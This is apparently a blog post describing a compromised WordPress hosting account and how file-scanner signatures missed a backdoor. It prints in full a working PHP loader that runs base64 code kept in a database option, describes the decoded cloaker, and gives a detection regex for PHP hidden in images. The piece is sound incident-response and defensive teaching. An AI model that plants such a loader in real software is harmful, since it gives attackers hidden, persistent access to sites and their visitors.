I cleaned a compromised hosting account on 5 September and wrote down, with some satisfaction, that it was done. On 11 September I found the rest of it.
The part that bothers me is not that I missed something. It is why I missed it: I had built three scanners, and the thing they were looking for was not in any file.
What a file scanner was asked to find
This is the file that mattered, in full. 420 bytes, sitting where a WordPress core file should be:
<?php
require_once $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php';
$encoded = get_option('_codehidden');
if (!empty($encoded)) {
$code = base64_decode($encoded, true);
if ($code !== false) {
$tmp = tmpfile();
if ($tmp !== false) {
fwrite($tmp, $code);
$meta = stream_get_meta_data($tmp);
include $meta['uri'];
fclose($tmp);
}
}
}
No obfuscation. No eval. No hex-escaped strings, no goto spaghetti, no variable function names. It reads well. Every one of my signature checks looked straight at it and had nothing to say, because there is nothing in it to flag — the malicious part is a row in wp_options, and the file is just the thing that fetches it.
The row held 9,784 bytes of base64. Decoded: 7,338 bytes, whose first line is eval(base64_decode('...')) and whose inner layer reads HTTP_HOST, HTTP_ACCEPT_LANGUAGE and HTTP_REFERER and picks a remote host from a list of ROT13'd domains. A cloaker — the same kind that had been serving a Japanese shopping page to Googlebot from the main site. Stored in the database, so grep -r across 161,762 files finds exactly nothing.
The only authority that worked
The file was one of ~2,000 in a WordPress install, and it looked plausible. What caught it is that WordPress publishes the md5 of every file it ships:
https://api.wordpress.org/core/checksums/1.0/?version=7.1&locale=en_US
That gives a map of path => md5 for the whole core. Three questions fall out of it, and the third is the one that mattered:
foreach ($sums as $path => $md5) {
if (!is_file("$root/$path")) { $missing[] = $path; } // deleted
elseif (md5_file("$root/$path") !== $md5) { $modified[] = $path; } // changed
}
// and the other direction: anything under wp-admin/ or wp-includes/
// that the checksum list has never heard of
foreach ($onDisk as $path) {
if (!isset($sums[$path])) { $foreign[] = $path; }
}
Across 18 installs on the account: 15 came back clean, and the three that did not told me exactly where to look. The loader showed up as MODIFIED. Three empty .php files in invented directories — wp-includes/blocks/5HJlg/block/wp-utility.php and friends, all chmod 777 — showed up as FOREIGN. Another site was missing 74 core files, which is why it had been answering 500 to every visitor.
This is the difference between a signature and an authority. My signatures encode what I imagine malware looks like. The checksum list encodes what the software is. Only one of those keeps working when the attacker writes something I did not imagine.
Two things I got wrong, out loud
I cleared a file because it was not obfuscated. On 5 September I read the site's wp-login.php, saw no eval, no base64, no hex, and moved on. The checksums flagged it. The diff turned out to be two blank lines and a missing newline — so my conclusion was right, no credential stealer — but my reason was worthless. "It does not look like malware" is not evidence. I only knew the file was clean once something authoritative told me what it should be.
I wrote a scanner rule that was certain and wrong. It flagged images containing PHP, which is a real technique:
if ($isImg && preg_match('~<\?php|<\?=|eval\s*\(~i', $s)) { /* CERTAIN */ }
That reported 277 files, labelled CERTAIN, across ordinary stock photos and one of Advanced Custom Fields' own PNGs. <?= is three bytes. In a 700 KB binary, three particular bytes turn up by chance constantly. Retested with the five-byte <?php alone: zero. Nothing was deleted on that basis, but only because I checked before acting — and I had labelled the rule CERTAIN, which is precisely the label that invites not checking.
What the database knew that the filesystem did not
Once I was reading the database, the rest of the story was there:
lms patilari 31 Aug 05:53
lms suxexnob 4 Sep 05:45 1 live session
lms root_1n84gk9 4 Sep 07:13:21 2 live sessions
lms jalejsul 8 Sep 09:09
site2 patilari 31 Aug 07:05:04
site2 root 2 Sep 01:25:30
Administrator accounts. root_1n84gk9 was created in the same minute as those 777 files. patilari appears on two unrelated sites, and on the second one a file-manager plugin was installed nine seconds after the account existed. And jalejsul is dated 8 September — three days after I declared the account clean.
That last row is the whole lesson. I had removed their files. They still had a way in, and it was never a file.
What I would take from it
- Prefer an authority to a signature. For WordPress that is the checksums API; for your own code it is a manifest you generated somewhere the attacker cannot reach. A signature list only finds malware that resembles malware you have already seen.
-
Grep the datastore too. Anything that can be
included can be stored: a row, an object-cache entry, a serialised option, an S3 key. A scanner that only walks a filesystem is auditing half the machine. - When you label a check CERTAIN, go and verify it once on real data — before you build anything that acts on it automatically. Mine would have deleted 277 innocent photos.
- Clean does not mean cleaned. After an incident, re-verify against something the attacker could not have touched. A baseline taken on a compromised system certifies the compromise.
I build Utilorax, a set of free browser-based tools. If you want to check a file against a published hash without installing anything, the MD5 hash generator runs entirely in your browser — the file never leaves your machine.
